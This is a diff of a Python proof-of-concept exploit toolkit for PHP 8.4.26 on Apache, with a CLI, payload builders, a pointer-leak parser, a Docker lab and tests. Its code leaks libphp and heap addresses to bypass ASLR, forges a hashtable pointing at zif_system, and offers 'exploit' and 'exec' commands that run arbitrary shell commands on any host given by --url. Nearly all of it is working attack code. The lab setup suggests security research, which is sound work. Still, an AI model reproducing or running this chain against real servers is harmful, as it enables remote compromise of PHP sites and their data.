workers = dkr(["exec", name, "sh", "-c", "pgrep -c apache2"]).strip()
state = version_state(ver) if ver else "unknown"
rows = [("php_version", "%d.%d.%d" % ver if ver else "?", state)]
for key in sorted(ini):
rows.append(("ini." + key, ini[key], ""))
rows.append(("libphp_sha256", sha or "?", ""))
rows.append(("profile", prof_name or "NO PROFILE MATCH", ""))
rows.append(("workers", workers, ""))
ok = state == "vulnerable" and prof is not None
if args.json:
print(json.dumps({"vulnerable": ok, "version": ver and "%d.%d.%d" % ver,
"state": state, "libphp_sha256": sha,
"profile": prof_name, "ini": ini, "workers": workers}, indent=2))
else:
for k, v, extra in rows:
print("%-42s %s%s" % (k, v, (" " + extra) if extra else ""))
print("%-42s %s" % ("verdict", "READY" if ok else "NOT READY"))
return 0 if ok else 1
def run_leak(args, prof, save=""):
host, port = args.host, args.port
path, warm_path = target_paths(args, prof)
held = wire.hold_workers(host, port, args.workers - 1, path=path)
try:
wire.warm(host, port, path)
a1 = bodies.build_a1(prof["a1"])
r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)),
timeout=args.timeout)
a1_status = wire.status(r1)
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)),
timeout=args.timeout)
if save:
with open(save, "wb") as fh:
fh.write(r2)
raw = wire.cookie(r2, b"PHPSESSID")
if raw is None:
raise leak.LeakError("no Set-Cookie PHPSESSID (status=%r, bytes=%d)" %
(wire.status(r2), len(r2)))
info = leak.classify(raw, prof)
info["a1_status"] = a1_status
info["b1_status"] = wire.status(r2)
info["cookie_bytes"] = len(raw)
return info
finally:
wire.release(held)
def cmd_leak(args):
if not require_target(args.host, args.port):
return 1
prof = profile_or_die(args)
info = run_leak(args, prof, args.save)
if args.json:
print(json.dumps(info, default=hex, indent=2))
else:
print("a1_status %s" % info["a1_status"])
print("b1_status %s" % info["b1_status"])
print("cookie_bytes %d" % info["cookie_bytes"])
print("decoded %d" % info["decoded"])
print("zval_ptr_dtor %#x x%d" % (info["zdtor"], info["dtor_count"]))
print("libphp %#x" % info["lib"])
print("main %#x bucket_count=%d" % (info["main"], info["main_bucket_count"]))
print("libphp - main %#x" % info["delta"])
print("buckets " + " ".join("%#x:%d" % (b, c) for b, c in info["buckets"]))
return 0
def profile_or_die(args):
_, prof = profiles.only()
if args.profile:
if args.profile not in profiles.PROFILES:
print("unknown profile %r" % args.profile, file=sys.stderr)
raise SystemExit(2)
prof = profiles.PROFILES[args.profile]
return prof
def exploit_once(args, prof):
host, port = args.host, args.port
proof_path = args.proof
if os.path.exists(proof_path):
os.remove(proof_path)
path, warm_path = target_paths(args, prof)
held = wire.hold_workers(host, port, args.workers - 1, path=path)
try:
wire.warm(host, port, path)
a1 = bodies.build_a1(prof["a1"])
r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)),
timeout=args.timeout)
print("[1/4] A1 oom status=%s" % wire.status(r1))
time.sleep(0.2)
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)),
timeout=args.timeout)
raw = wire.cookie(r2, b"PHPSESSID")
if raw is None:
raise leak.LeakError("no Set-Cookie PHPSESSID (status=%s, bytes=%d)" %
(wire.status(r2), len(r2)))
info = leak.classify(raw, prof)
print("[2/4] B1 leak decoded=%d libphp=%#x main=%#x count=%d" %
(info["decoded"], info["lib"], info["main"], info["main_bucket_count"]))
time.sleep(0.2)
s_addr = info["main"] + prof["s_delta"]
zif = info["lib"] + prof["zif_offset"]
a2 = bodies.build_a2(prof["a2"])
r3 = wire.send(host, port, wire.frame_plain(path, a2, "%s:%d" % (host, port)),
timeout=args.timeout)
print("[3/4] A2 oom status=%s" % wire.status(r3))
time.sleep(0.2)
ht = forge.build_ht(s_addr, zif, args.cmd.encode())
b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht)
r4 = wire.send(host, port, wire.frame_plain(path, b2, "%s:%d" % (host, port)),
timeout=args.timeout)
print("[4/4] B2 forge S=%#x zif_system=%#x status=%s" %
(s_addr, zif, wire.status(r4)))
deadline = time.time() + 5.0
while time.time() < deadline:
if os.path.exists(proof_path):
with open(proof_path, "r", errors="replace") as fh:
proof = fh.read().strip()
if proof:
if getattr(args, "quiet", False):
return 0, proof
print(" RCE OK; proof %s:" % proof_path)
print(proof)
return 0, proof
time.sleep(0.2)
return 1, ""
finally:
wire.release(held)
def cmd_exploit(args):
prof = profile_or_die(args)
if not args.dry_run and not require_target(args.host, args.port):
return 1
if args.dry_run:
s_addr = 0x7D2700000000 + prof["s_delta"]
zif = 0x7D27FE200000 + prof["zif_offset"]
a1 = bodies.build_a1(prof["a1"])
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
a2 = bodies.build_a2(prof["a2"])
ht = forge.build_ht(s_addr, zif, args.cmd.encode())
b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht)
out = {"S": hex(s_addr), "zif_system": hex(zif), "bytes_sent": 0,
"a1_sha256": hashlib.sha256(a1).hexdigest(),
"a2_sha256": hashlib.sha256(a2).hexdigest(),
"b1_sha256": hashlib.sha256(b1).hexdigest(),
"b2_sha256": hashlib.sha256(b2).hexdigest(),
"b2_bytes": len(b2), "ht_bytes": len(ht)}
if args.json:
print(json.dumps(out, indent=2))
else:
for k, v in out.items():
print("%-12s %s" % (k, v))
return 0
last = 1
for attempt in range(1, args.retries + 1):
try:
code, proof = exploit_once(args, prof)
except leak.LeakError as exc:
print(" attempt %d failed: %s" % (attempt, exc))
code, proof = 1, ""
last = code
if code == 0:
if args.json:
print(json.dumps({"rce": True, "attempt": attempt, "proof": proof}, indent=2))
return 0
time.sleep(0.5)
if args.json:
print(json.dumps({"rce": False, "attempts": args.retries}, indent=2))
print("[4/4] all attempts failed")
return last
def resolve_target(args):
url = getattr(args, "url", "")
if url:
parts = urllib.parse.urlsplit(url)
if parts.scheme and parts.scheme != "http":
print("only http:// is supported: the wire layer speaks raw HTTP, TLS is out of scope",
file=sys.stderr)
raise SystemExit(2)
if not parts.hostname:
print("--url carries no host", file=sys.stderr)
raise SystemExit(2)
if args.host is None:
args.host = parts.hostname
if args.port is None:
args.port = parts.port or 80
if not args.path:
args.path = parts.path or "/index.php"
if args.host is None:
args.host = "127.0.0.1"
if args.port is None:
args.port = 18110
if args.path is None:
args.path = ""
return args
def target_paths(args, prof):
path = args.path or prof["path"]
warm = prof["warm_path"]
query = warm.split("?", 1)[1] if "?" in warm else ""
return path, (path + "?" + query if query else path)
def require_target(host, port):
try:
sock = socket.create_connection((host, port), timeout=3)
sock.close()
return True
except OSError:
print("cannot connect to %s:%d — no target listening" % (host, port), file=sys.stderr)
print("start one first: python -m poc lab up", file=sys.stderr)
return False
def cmd_lab(args):
action = args.action
name = args.name or os.environ.get("NAME") or "p2s-lab"
port = args.port or int(os.environ.get("PORT") or 18110)
image = args.image or os.environ.get("IMAGE") or "php:8.4.26-apache"
net = args.net or os.environ.get("NET") or ""
args.name = name
args.port = port
if action == "status":
return cmd_status(args)
try:
if action == "down":
lab.down(name)
print("down %s" % name)
return 0
body = lab.up(ROOT, image, name, port, net, args.host)
except lab.LabError as exc:
print(str(exc), file=sys.stderr)
return 1
print("target: %s" % body)
print("next: python -m poc check --name %s --port %d" % (name, port))
print(" python -m poc exploit --port %d" % port)
return 0
def cmd_status(args):
try:
rows = lab.status(args.name, args.lib_path)
except lab.LabError as exc:
print(str(exc), file=sys.stderr)
return 1
if args.json:
print(json.dumps(dict(rows), indent=2))
else:
for key, val in rows:
print("%-40s %s" % (key, val))
return 0
EXEC_REMOTE = "/out/.poc-exec"
CARRIER_LIMIT = 200
def exec_wrapper(command, remote=EXEC_REMOTE):
return "{ " + command + "\n} > " + remote + " 2>&1"
def exec_fits(command, remote=EXEC_REMOTE):
return len(exec_wrapper(command, remote)) <= CARRIER_LIMIT
def cmd_exec(args):
if not require_target(args.host, args.port):
return 1
prof = profile_or_die(args)
if not exec_fits(args.cmd):
wrapped_len = len(exec_wrapper(args.cmd))
print("command is %d bytes after wrapping, carrier limit is %d"
% (wrapped_len, CARRIER_LIMIT), file=sys.stderr)
print("put it in a file and run: --cmd 'sh</out/c'", file=sys.stderr)
return 2
local = os.path.join(ROOT, "out", ".poc-exec")
ns = copy.copy(args)
ns.cmd = exec_wrapper(args.cmd)
ns.proof = local
ns.quiet = True
if os.path.exists(local):
os.remove(local)
code = 1
for attempt in range(1, args.retries + 1):
try:
code, _ = exploit_once(ns, prof)
except leak.LeakError as exc:
print(" attempt %d failed: %s" % (attempt, exc))
code = 1
if code == 0:
break
time.sleep(0.5)
if os.path.exists(local):
with open(local, "r", errors="replace") as fh:
out = fh.read()
os.remove(local)
print(out.rstrip())
return 0 if code == 0 else 1
return 1
def cmd_offsets(args):
syms = elf.symbol_offsets(args.lib, ["zval_ptr_dtor", "zif_system", "zif_passthru"])
if args.json:
print(json.dumps({k: (hex(v) if v else None) for k, v in syms.items()}, indent=2))
else:
for k, v in syms.items():
print("%-16s %s" % (k, hex(v) if v else "NOT FOUND"))
return 0 if syms.get("zif_system") else 1
def cmd_selftest(args):
_, prof = profiles.only()
a1 = bodies.build_a1(prof["a1"])
a2 = bodies.build_a2(prof["a2"])
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
s_addr = 0x7D2700000000 + prof["s_delta"]
zif = 0x7D27FE200000 + prof["zif_offset"]
ht = forge.build_ht(s_addr, zif, b"id>/out/p1")
b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht)
assert b"files[R00000" + b"K" * prof["a1"]["key_pad"] + b"]" in a1
assert a2.count(b"name=\"files[R") == prof["a2"]["parts"]
assert b1.count(b"name=\"x") == 900
assert len(ht) == 384
assert ht[0x30:0x38] == zif.to_bytes(8, "little")
assert b2.count(b"name=\"ht\"") == 1
assert prof["delta_min"] <= 0x1E00000 <= prof["delta_max"]
print("selftest ok a1=%d a2=%d b1=%d b2=%d ht=%d" % (len(a1), len(a2), len(b1), len(b2), len(ht)))
return 0
def build_parser():
ap = argparse.ArgumentParser(prog="poc", add_help=True)
sub = ap.add_subparsers(dest="cmd", required=True)
def common(p):
p.add_argument("--host", default=None)
p.add_argument("--port", type=int, default=None)
p.add_argument("--name", default="p2s-lab")
p.add_argument("--lib-path", default="/usr/lib/apache2/modules/libphp.so")
p.add_argument("--profile", default="")
p.add_argument("--workers", type=int, default=1)
p.add_argument("--timeout", type=float, default=600.0)
p.add_argument("--json", action="store_true")
p = sub.add_parser("check")
common(p)
p.set_defaults(func=cmd_check)
p = sub.add_parser("leak")
common(p)
p.add_argument("--url", default="")
p.add_argument("--path", default="")
p.add_argument("--save", default="")
p.set_defaults(func=cmd_leak, resolve=True)
p = sub.add_parser("exploit")
common(p)
p.add_argument("--url", default="")
p.add_argument("--path", default="")
p.add_argument("--cmd", default="id>/out/p1")
p.add_argument("--proof", default=os.path.join(ROOT, "out", "p1"))
p.add_argument("--dry-run", action="store_true")
p.add_argument("--retries", type=int, default=3)
p.set_defaults(func=cmd_exploit, resolve=True)
p = sub.add_parser("lab")
common(p)
p.set_defaults(name=None, port=None)
p.add_argument("action", nargs="?", choices=("up", "down", "status"), default="up")
p.add_argument("--image", default="")
p.add_argument("--net", default="")
p.set_defaults(func=cmd_lab)
p = sub.add_parser("status")
common(p)
p.set_defaults(func=cmd_status)
p = sub.add_parser("exec")
common(p)
p.add_argument("--url", default="")
p.add_argument("--path", default="")
p.add_argument("--cmd", required=True)
p.add_argument("--retries", type=int, default=3)
p.set_defaults(func=cmd_exec, resolve=True)
p = sub.add_parser("offsets")
p.add_argument("--lib", required=True)
p.add_argument("--json", action="store_true")
p.set_defaults(func=cmd_offsets)
p = sub.add_parser("selftest")
p.add_argument("--json", action="store_true")
p.set_defaults(func=cmd_selftest)
return ap
def main(argv=None):
args = build_parser().parse_args(argv)
if getattr(args, "resolve", False):
resolve_target(args)
if not args.json:
banner()
return args.func(args)
+77
View File
@@ -0,0 +1,77 @@
import struct
BOUNDARY = b"C" * 10
def build_ht(htdata, zif, cmd, size=384):
if len(cmd) > 0x160 - 0x98:
raise ValueError("command too long for the 384-byte carrier")
ht = bytearray(size)
struct.pack_into("<II", ht, 0x00, 1, 7)
struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8)
struct.pack_into("<Q", ht, 0x10, htdata + 0x20)
struct.pack_into("<II", ht, 0x18, 1, 1)
struct.pack_into("<II", ht, 0x20, 8, 0)
struct.pack_into("<Q", ht, 0x28, 0)
struct.pack_into("<Q", ht, 0x30, zif)
e = 0x20
struct.pack_into("<Q", ht, e + 0x00, 0)
struct.pack_into("<Q", ht, e + 0x08, 0)
struct.pack_into("<Q", ht, e + 0x10, zif)
struct.pack_into("<Q", ht, e + 0x18, 0)
struct.pack_into("<Q", ht, e + 0x20, 0)
struct.pack_into("<I", ht, e + 0x28, 0)
struct.pack_into("<I", ht, e + 0x2C, 1)
struct.pack_into("<Q", ht, e + 0x30, 0)
struct.pack_into("<Q", ht, e + 0x38, 0)
struct.pack_into("<I", ht, e + 0x40, 0)
struct.pack_into("<Q", ht, e + 0x50, htdata + 0x80)
struct.pack_into("<I", ht, e + 0x58, 6)
struct.pack_into("<II", ht, 0x80, 1, 0x106)
struct.pack_into("<Q", ht, 0x88, 0)
struct.pack_into("<Q", ht, 0x90, len(cmd))
ht[0x98:0x98 + len(cmd)] = cmd
ht[0x98 + len(cmd)] = 0
return bytes(ht)
def build_ref_slot(ptr, rc, val_type=0x0107):
slot = bytearray(32)
struct.pack_into("<I", slot, 0, rc)
slot[4] = 0x0A
struct.pack_into("<Q", slot, 8, ptr)
struct.pack_into("<I", slot, 16, val_type)
return bytes(slot)
def _spray(vl, ptr, rc, val_type, ref_start, ref_step):
v = bytearray(b"S" * vl)
off = ref_start
while off + 32 <= vl:
v[off:off + 32] = build_ref_slot(ptr, rc, val_type)
off += ref_step
return bytes(v)
def _name(prefix, i, nlen):
return (prefix + ("%09d" % i).encode() + b"x" * nlen)[:nlen]
def build_b2(cfg, ht_addr, ht, sid=b"a" * 32, progress=b"k0", boundary=BOUNDARY):
spray = _spray(cfg["vl"], ht_addr, cfg["rc"], cfg.get("val_type", 0x0107),
cfg.get("ref_start", 8), cfg.get("ref_step", 32))
out = bytearray()
def part(name, value):
out.extend(b"--" + boundary + b"\r\nContent-Disposition: form-data; name=\"" +
name + b"\"\r\n\r\n" + value + b"\r\n")
for i in range(cfg["n1"]):
part(_name(b"s", i, cfg["name_len"]), spray)
part(b"ht", ht)
part(b"PHPSESSID", sid)
part(b"PHP_SESSION_UPLOAD_PROGRESS", progress)
for i in range(cfg["n2"]):
part(_name(b"t", i, cfg["name_len"]), spray)
out.extend(b"--" + boundary + b"--\r\n")
return bytes(out)
+131
View File
@@ -0,0 +1,131 @@
import os
import shutil
import socket
import subprocess
import time
INIT = ("cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini\n"
"chown -R www-data:www-data /out 2>/dev/null || true\n"
"exec apache2-foreground")
INI_KEYS = {"display_errors", "memory_limit", "post_max_size", "output_buffering",
"max_file_uploads", "max_input_vars", "session.upload_progress.enabled",
"session.save_handler", "session.serialize_handler"}
class LabError(Exception):
pass
def docker():
exe = shutil.which("docker")
if not exe:
raise LabError("docker not found in PATH")
return exe
def host_path(path, nt=None):
if nt is None:
nt = os.name == "nt"
return path.replace("\\", "/") if nt else path
def build_run_args(root, image, name, port, net="", nt=None):
lab_dir = os.path.join(root, "lab")
out_dir = os.path.join(root, "out")
args = ["run", "-d", "--name", name]
if net:
args += ["--network", net]
args += [
"-p", "127.0.0.1:%d:80" % port,
"-v", host_path(os.path.join(lab_dir, "index.php"), nt) + ":/var/www/html/index.php:ro",
"-v", host_path(os.path.join(lab_dir, "apache-single-worker.conf"), nt) + ":/etc/apache2/conf-enabled/zz-p2s.conf:ro",
"-v", host_path(out_dir, nt) + ":/out",
image,
"/bin/sh", "-c", INIT,
]
return args
def run(args, timeout=300, check=True):
exe = docker()
try:
proc = subprocess.run([exe] + args, capture_output=True, text=True, timeout=timeout)
except subprocess.TimeoutExpired as exc:
raise LabError("docker %s timed out" % args[0]) from exc
if check and proc.returncode != 0:
msg = (proc.stderr or proc.stdout or "").strip().splitlines()
raise LabError("docker %s failed: %s" % (args[0], msg[-1] if msg else "exit %d" % proc.returncode))
return proc
def executable(argv, name):
exe = docker()
proc = subprocess.run([exe, "exec", name] + argv,
capture_output=True, text=True, timeout=120)
return proc.stdout
def _http_get(host, port, path="/index.php", timeout=1.0):
sock = socket.create_connection((host, port), timeout=timeout)
try:
request = ("GET %s HTTP/1.0\r\nHost: %s\r\n\r\n" % (path, host)).encode()
sock.sendall(request)
data = b""
while b"\r\n\r\n" not in data:
chunk = sock.recv(1024)
if not chunk:
break
data += chunk
finally:
sock.close()
head, _, body = data.partition(b"\r\n\r\n")
return head, body
def wait_ready(port, host="127.0.0.1", attempts=120, delay=0.25):
for _ in range(attempts):
try:
head, body = _http_get(host, port)
if b" 200" in head:
return body.decode("latin1").strip()
except OSError:
pass
time.sleep(delay)
return None
def up(root, image, name, port, net="", host="127.0.0.1"):
run(["rm", "-f", name], check=False)
os.makedirs(os.path.join(root, "out"), exist_ok=True)
if net:
run(["network", "create", net], check=False)
run(build_run_args(root, image, name, port, net))
body = wait_ready(port, host)
if body is None:
logs = run(["logs", "--tail", "20", name], check=False)
raise LabError("target did not answer on %s:%d within %.0fs\n%s"
% (host, port, 120 * 0.25, (logs.stdout or "") + (logs.stderr or "")))
return body
def down(name):
run(["rm", "-f", name], check=False)
return True
def status(name, lib_path):
rows = []
ver = executable(["php", "-v"], name).splitlines()
rows.append(("php", ver[0] if ver else "?"))
for line in executable(["php", "-i"], name).splitlines():
key, _, val = line.partition("=>")
key = key.strip()
if key in INI_KEYS:
rows.append((key, val.split("=>")[0].strip()))
sha = executable(["sha256sum", lib_path], name).split()
rows.append(("libphp_sha256", sha[0] if sha else "?"))
apache = executable(["apache2", "-v"], name).splitlines()
rows.append(("apache", apache[0] if apache else "?"))
rows.append(("workers", executable(["sh", "-c", "pgrep -c apache2"], name).strip()))
return rows
+69
View File
@@ -0,0 +1,69 @@
import struct
from collections import Counter
class LeakError(Exception):
pass
def qwords(buf, ptr_min, ptr_max):
counts = Counter()
for off in range(0, len(buf) - 7, 8):
q = struct.unpack_from("<Q", buf, off)[0]
if ptr_min <= q <= ptr_max:
counts[q] += 1
return counts
def anchors(counts, prof, quorum):
out = []
for q, c in counts.items():
if c < quorum:
continue
base = q - prof["dtor_offset"]
if base <= 0 or base % 0x1000:
continue
out.append((q, c, base))
out.sort(key=lambda t: (-t[1], t[0]))
return out
def classify(buf, prof, quorum=64):
counts = qwords(buf, prof["ptr_min"], prof["ptr_max"])
if not counts:
raise LeakError("no heap pointers in leak window")
cands = anchors(counts, prof, quorum)
if not cands:
raise LeakError("no page-aligned destructor anchor (quorum=%d)" % quorum)
zdtor, n_dtor, lib = cands[0]
buckets = Counter()
for q, c in counts.items():
buckets[q & ~0x1FFFFF] += c
lib_bucket = zdtor & ~0x1FFFFF
id_bucket = buckets.most_common(1)[0][0]
main_cands = []
for b, c in buckets.most_common():
if b in (lib_bucket, id_bucket):
continue
delta = lib - b
if not (prof["delta_min"] <= delta <= prof["delta_max"]):
continue
main_cands.append((b, c))
if not main_cands:
raise LeakError("no main-chunk candidate with plausible delta")
main_cands.sort(key=lambda bc: (abs(bc[1] - prof["main_bucket_count"]), bc[1]))
main, n_main = main_cands[0]
return {
"decoded": len(buf),
"zdtor": zdtor,
"dtor_count": n_dtor,
"lib": lib,
"main": main,
"main_bucket_count": n_main,
"delta": lib - main,
"buckets": [(b, c) for b, c in buckets.most_common(6)],
"main_candidates": [b for b, _ in main_cands[:3]],
}
+42
View File
@@ -0,0 +1,42 @@
# research/
Working material, not part of the shipped tool. Everything here is either ignored by git or
explained below.
## Provenance of `tests/golden/bodies.json`
The golden hashes are **generated, never typed**. They are produced from the public reference
chain (`9bie/php2shell-bypass-aslr-exp`) so that `poc/bodies.py` can be proven byte-identical to
the code the primitives were published with, without vendoring that code.
```bash
mkdir -p research/upstream
git clone --depth 1 https://github.com/9bie/php2shell-bypass-aslr-exp.git research/upstream
python research/capture_golden.py
python -m unittest tests.test_bodies_parity -v
```
`capture_golden.py` runs the reference generators with the exact parameters recorded in
`poc/profiles.py` (`a1` with `--big 78`, `a2` via `build_body(880, 64, 115, …)`, `b1` with the
17-item leak spec and `--fake-len 0xC8000 --tag`), hashes the three bodies and writes
`tests/golden/bodies.json`. If a golden mismatches, the fix belongs in `poc/bodies.py` — never in
the golden file.
## Ignored artefacts
| Path | Why it is not committed |
|---|---|
| `research/upstream/` | third-party clone, reference only; nothing in `poc/` imports it |
| `research/control/` | the control-test copy with one literal widened (see `NOTES.md` §10) |
| `research/libphp.so` | 21 MB binary from the target image; needed only for `tests/test_elf.py` |
| `research/captures/*` | multi-megabyte HTTP responses and generated bodies |
Consequences: on a fresh clone, `tests/test_elf.py` and the real-capture test in
`tests/test_leak_parse.py` skip themselves. To run them, copy the module out of the target:
```bash
docker cp p2s-lab:/usr/lib/apache2/modules/libphp.so research/libphp.so
```
Everything else — the payload builders, the leak parser, framing, profile logic, CLI parsing —
runs with no Docker, no network and no binary, which is what CI exercises.
-28
View File
@@ -1,28 +0,0 @@
import struct
import sys
from collections import Counter
buf = open(sys.argv[1], "rb").read()
print("len", len(buf))
counts = Counter()
for off in range(0, len(buf) - 7, 8):
q = struct.unpack_from("<Q", buf, off)[0]
if 0x1000000000 <= q <= 0x7FFFFFFFFFFF:
counts[q] += 1
print("canonical user-space qwords:", sum(counts.values()), "distinct:", len(counts))
print("top 12:")
for q, c in counts.most_common(12):
print(" %#018x x%d" % (q, c))
buckets = Counter()
for q, c in counts.items():
buckets[q & ~0x1FFFFF] += c
print("2MiB buckets:")
for b, c in buckets.most_common(10):
print(" %#018x x%d" % (b, c))
top_q, top_c = counts.most_common(1)[0]
for name, off in (("zval_ptr_dtor", 0x65EB60), ("zif_system", 0x465370)):
print("if top==%s -> libphp=%#x" % (name, (top_q - off) & 0xFFFFFFFFFFFFFFFF))
-105
View File
@@ -1,105 +0,0 @@
#!/usr/bin/env python
import os
import socket
import struct
import subprocess
import sys
import time
import urllib.parse
from collections import Counter
HERE = os.path.dirname(os.path.abspath(__file__))
PURE = os.path.join(HERE, "upstream", "pure")
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 18110
NAME = sys.argv[2] if len(sys.argv) > 2 else "p2s-lab"
CAP = os.path.join(HERE, "captures")
os.makedirs(CAP, exist_ok=True)
LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"])
def sh(cmd):
return subprocess.run(cmd, shell=True, capture_output=True, text=True).stdout.strip()
def workers():
return sh('docker exec %s sh -c "pgrep -f apache2 | tr \'\\n\' \' \'"' % NAME)
def warm():
s = socket.create_connection(("127.0.0.1", PORT), timeout=5)
s.sendall(b"GET /index.php HTTP/1.0\r\nHost: x\r\n\r\n")
s.recv(1024)
s.close()
def send(body_file, path, chunked, save=""):
cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"),
"--port", str(PORT), "--body-file", body_file,
"--path", path, "--timeout", "300"]
if save:
cmd += ["--save-response", save]
subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL)
return open(save, "rb").read() if save else b""
def step(label, body, path, chunked):
print("[%s] workers_before=%s" % (label, workers()))
t0 = time.time()
save = os.path.join(CAP, "diag_%s.resp" % label)
if chunked:
resp = send(body, path, True, save)
else:
t0 = time.time()
resp = send(body, path, False, save)
print("[%s] %.2fs resp=%d status=%r workers_after=%s" % (
label, time.time() - t0, len(resp),
resp.split(b"\r\n", 1)[0][:70], workers()))
return resp
os.makedirs(CAP, exist_ok=True)
print("restarting", NAME)
sh("docker restart %s" % NAME)
time.sleep(2.0)
print("ready:", sh('curl -s -m 5 http://127.0.0.1:%d/index.php' % PORT))
warm()
print("workers warm=%s" % workers())
a1 = os.path.join(CAP, "diag_a1.bin")
subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"), "--out", a1,
"--big", "78"], check=True, stdout=subprocess.DEVNULL)
print("a1 bytes=%d" % os.path.getsize(a1))
step("a1", a1, "/index.php?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v", True)
b1 = os.path.join(CAP, "diag_b1.bin")
subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"), "--out", b1,
"--spec", LEAK_SPEC, "--fake-len", "0xC8000", "--tag"],
check=True, stdout=subprocess.DEVNULL)
print("b1 bytes=%d" % os.path.getsize(b1))
resp = step("b1", b1, "/index.php", True)
i = resp.find(b"Set-Cookie: PHPSESSID=")
print("set-cookie at=%d" % i)
if i < 0:
print("head:", resp[:400])
raise SystemExit(1)
val = resp[i + len(b"Set-Cookie: PHPSESSID="):].split(b"\r\n")[0]
dec = urllib.parse.unquote_to_bytes(val.decode("latin1"))
print("raw=%d decoded=%d" % (len(val), len(dec)))
open(os.path.join(CAP, "diag_decoded.bin"), "wb").write(dec)
hist = Counter()
top = Counter()
for off in range(0, len(dec) - 7, 8):
q = struct.unpack_from("<Q", dec, off)[0]
hist[q >> 40] += 1
if q:
top[q] += 1
print("high-byte hist:", [(hex(k << 40), v) for k, v in hist.most_common(6)])
print("top qwords:")
for q, c in top.most_common(6):
print(" %#018x x%d" % (q, c))
print("0x7f range:", sum(c for q, c in top.items() if 0x7F0000000000 <= q <= 0x7FFFFFFFFFFF))
print("ascii head:", dec[:150].decode("latin1").replace("\x00", "."))
print("byte histogram top:", Counter(dec).most_common(6))
-73
View File
@@ -1,73 +0,0 @@
#!/usr/bin/env python
import os
import struct
import subprocess
import sys
import urllib.parse
from collections import Counter
HERE = os.path.dirname(os.path.abspath(__file__))
UP = os.path.join(HERE, "upstream")
PURE = os.path.join(UP, "pure")
sys.path.insert(0, PURE)
import chunked_send # noqa: E402
import mk_leak_b # noqa: E402
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 18110
LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"])
def send_chunked(body_file, path="/index.php", save=""):
cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"),
"--port", str(PORT), "--body-file", body_file,
"--path", path, "--timeout", "300"]
if save:
cmd += ["--save-response", save]
subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL)
return open(save, "rb").read() if save else b""
tmp = os.path.join(HERE, "captures")
os.makedirs(tmp, exist_ok=True)
a1 = os.path.join(tmp, "diag_a1.bin")
subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"),
"--out", a1, "--big", "78"], check=True, stdout=subprocess.DEVNULL)
print("a1 bytes=%d" % os.path.getsize(a1))
send_chunked(a1, "/index.php?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v")
b1 = os.path.join(tmp, "diag_b1.bin")
subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"),
"--out", b1, "--spec", LEAK_SPEC,
"--fake-len", "0xC8000", "--tag"], check=True, stdout=subprocess.DEVNULL)
resp = send_chunked(b1, "/index.php", os.path.join(tmp, "diag_leak.resp"))
print("resp bytes=%d" % len(resp))
print("status=%r" % resp.split(b"\r\n", 1)[0][:80])
i = resp.find(b"Set-Cookie: PHPSESSID=")
print("set-cookie at=%d" % i)
if i < 0:
print(resp[:600])
raise SystemExit(1)
val = resp[i + len(b"Set-Cookie: PHPSESSID="):].split(b"\r\n")[0]
print("raw cookie bytes=%d" % len(val))
dec = urllib.parse.unquote_to_bytes(val.decode("latin1"))
print("decoded=%d" % len(dec))
open(os.path.join(tmp, "diag_decoded.bin"), "wb").write(dec)
hist = Counter()
top = Counter()
for off in range(0, len(dec) - 7, 8):
q = struct.unpack_from("<Q", dec, off)[0]
hist[q >> 40] += 1
if q:
top[q] += 1
print("qword high-byte histogram:", [(hex(k << 40), v) for k, v in hist.most_common(8)])
print("top nonzero qwords:")
for q, c in top.most_common(8):
print(" %#018x x%d" % (q, c))
print("count 0x7f-range:", sum(c for q, c in top.items() if 0x7F0000000000 <= q <= 0x7FFFFFFFFFFF))
print("count canon-user :", sum(c for q, c in top.items() if 0x1000000000 <= q <= 0x7FFFFFFFFFFF))
print("first 64 bytes:", dec[:64])
print("ascii head:", dec[:120].decode("latin1").replace("\x00", "."))
View File
+112
View File
@@ -0,0 +1,112 @@
import unittest
from poc import cli
def parse(argv):
return cli.build_parser().parse_args(argv)
class SeparationTest(unittest.TestCase):
def test_lab_defaults_to_up(self):
self.assertEqual(parse(["lab"]).action, "up")
def test_lab_up_status_down(self):
for action in ("up", "down", "status"):
self.assertEqual(parse(["lab", action]).action, action)
def test_lab_rejects_unknown_action(self):
with self.assertRaises(SystemExit):
parse(["lab", "exploit"])
def test_lab_has_no_exploit_flags(self):
ns = parse(["lab", "up"])
for flag in ("proof", "retries", "dry_run"):
self.assertFalse(hasattr(ns, flag), flag)
def test_exploit_keeps_its_flags(self):
ns = parse(["exploit", "--cmd", "id>/out/x", "--retries", "1"])
self.assertEqual(ns.cmd, "id>/out/x")
self.assertEqual(ns.retries, 1)
def test_lab_actions_do_not_run_the_chain(self):
ns = parse(["lab", "up"])
self.assertIs(ns.func, cli.cmd_lab)
def test_exploit_and_leak_are_separate_commands(self):
self.assertIs(parse(["exploit"]).func, cli.cmd_exploit)
self.assertIs(parse(["leak"]).func, cli.cmd_leak)
self.assertIs(parse(["check"]).func, cli.cmd_check)
